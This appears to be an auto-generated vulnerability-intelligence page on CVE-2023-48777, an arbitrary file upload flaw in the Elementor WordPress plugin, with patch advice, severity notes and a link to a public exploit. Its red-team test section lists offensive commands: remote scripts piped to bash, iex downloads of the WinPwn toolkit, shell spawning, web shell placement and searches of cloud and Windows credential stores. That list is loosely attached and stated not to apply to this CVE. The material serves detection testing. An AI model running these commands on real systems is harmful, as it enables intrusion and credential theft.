CVE-2023-48777
Overview
This vulnerability is an unrestricted file upload flaw rooted in insufficient validation of file types during the template import process within the Elementor Website Builder plugin for WordPress. The affected component fails to properly restrict or sanitize uploaded files, allowing dangerous file types to be accepted and stored on the server. The flaw exists in versions 3.3.0 through 3.18.1 of the plugin's file handling mechanism tied to the Elementor template import functionality.
Vulnerability Description
Unrestricted Upload of File with Dangerous Type vulnerability in Elementor.Com Elementor Website Builder.This issue affects Elementor Website Builder: from 3.3.0 through 3.18.1.
Impact
An attacker with contributor-level access can upload and execute arbitrary PHP code on the WordPress server, effectively achieving remote code execution. This access level is typically granted to trusted users who can create content but not administer the site, lowering the barrier for exploitation. Successful exploitation can lead to full site compromise, data theft, defacement, or lateral movement within the hosting environment, severely impacting the confidentiality, integrity, and availability of the affected system.
Solution
Users should upgrade Elementor Website Builder to version 3.18.2 or later, where this unrestricted file upload vulnerability has been addressed. Detailed patch instructions and advisories are available at Patchstack's vulnerability database (https://patchstack.com/database/vulnerability/elementor/wordpress-elementor-plugin-3-18-0-arbitrary-file-upload-vulnerability). No official workaround exists; immediate updating is recommended to mitigate exploitation risks.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability associated with the Elementor Website Builder arises from an unrestricted file upload capability that permits the introduction of files with dangerous types. This flaw exists in versions ranging from 3.3.0 to 3.18.1, allowing malicious actors to upload potentially harmful files to a web server. The core issue lies in the lack of stringent validation and filtering mechanisms for uploaded files, which can lead to the execution of arbitrary code. This vulnerability can be exploited by attackers to upload web shells or other malicious scripts, thereby gaining unauthorized access to the server and potentially compromising the entire website.
Attack vectors leveraging this vulnerability are particularly concerning due to their simplicity and effectiveness. An attacker could craft a malicious file, such as a PHP script, and upload it through the Elementor interface, bypassing any security measures that should be in place. Once the file is uploaded, the attacker can execute it by navigating to the corresponding URL, allowing them to execute commands on the server, manipulate data, or even pivot to other systems within the network. This exploitation scenario is not only straightforward but also difficult to detect, as the malicious files can blend in with legitimate uploads, especially in environments where file uploads are common.
The real-world impact of this vulnerability can be significant, particularly for businesses that rely on the Elementor Website Builder for their online presence. With a CVSS score of 8.8, this vulnerability poses a high risk, indicating that successful exploitation could lead to severe consequences, including data breaches, defacement of websites, and loss of customer trust. For organizations that handle sensitive data or operate in regulated industries, the repercussions could extend beyond immediate financial losses to include legal liabilities and compliance violations. Additionally, the potential for widespread exploitation means that businesses using vulnerable versions of the Elementor Website Builder could become prime targets for cybercriminals.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. First, it is crucial to ensure that all installations of the Elementor Website Builder are updated to the latest version, where this vulnerability has been addressed. Regular patch management practices should be enforced to minimize exposure to known vulnerabilities. Furthermore, organizations should employ web application firewalls (WAFs) that can help filter and monitor HTTP traffic to and from the web application, providing an additional layer of defense against malicious file uploads. Additionally, implementing strict file upload policies, including file type validation and size restrictions, can significantly reduce the risk of exploitation.
In conclusion, the unrestricted file upload vulnerability in the Elementor Website Builder represents a serious threat to web applications utilizing this platform. The ease of exploitation, coupled with the potential for significant business impact, underscores the necessity for immediate action. By prioritizing timely updates, employing robust security measures, and fostering a culture of cybersecurity awareness, organizations can safeguard their digital assets against this and similar vulnerabilities, thereby maintaining the integrity and trustworthiness of their online services.
The CVSS score for CVE-2023-48777 has been revised upward from 8.8 to 9.9, reflecting a reassessment of the vulnerability’s criticality. This adjustment underscores the increased potential for severe impact due to the unrestricted file upload flaw in Elementor Website Builder versions 3.3.0 through 3.18.1. Despite a slight decrease in the EPSS score, which indicates a marginal reduction in predicted exploit likelihood, the overall risk remains exceptionally high given the vulnerability’s ease of exploitation and the critical nature of affected web assets. CSURFACE threat intelligence has not detected a significant surge in active exploitation attempts; however, the emergence of a new proof-of-concept exploit on public repositories signals that threat actors have accessible tools to leverage this weakness. For defenders, this change elevates the urgency of monitoring and response efforts, as the vulnerability’s exploitability and potential for impactful compromise have been reaffirmed at the highest severity level. The updated risk assessment confirms that CVE-2023-48777 continues to represent a critical threat vector for organizations relying on the Elementor platform, necessitating sustained vigilance despite stable exploitation trends.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Elementor | Website Builder | All |
cpe:2.3:a:elementor:website_builder:*:*:*:*:free:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
AkuCyberSec/Elementor-3.18.0-Upload-Path-Traversal-RCE-CVE-2023-48777
|
AkuCyberSec | 10 | 3 | 2024-02-16 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
30%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-48777 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/vulnerability/elementor/wordpress-elementor-plugin-3-18-0-arbitrary-file-upload-vulnerability?_s_id=cve |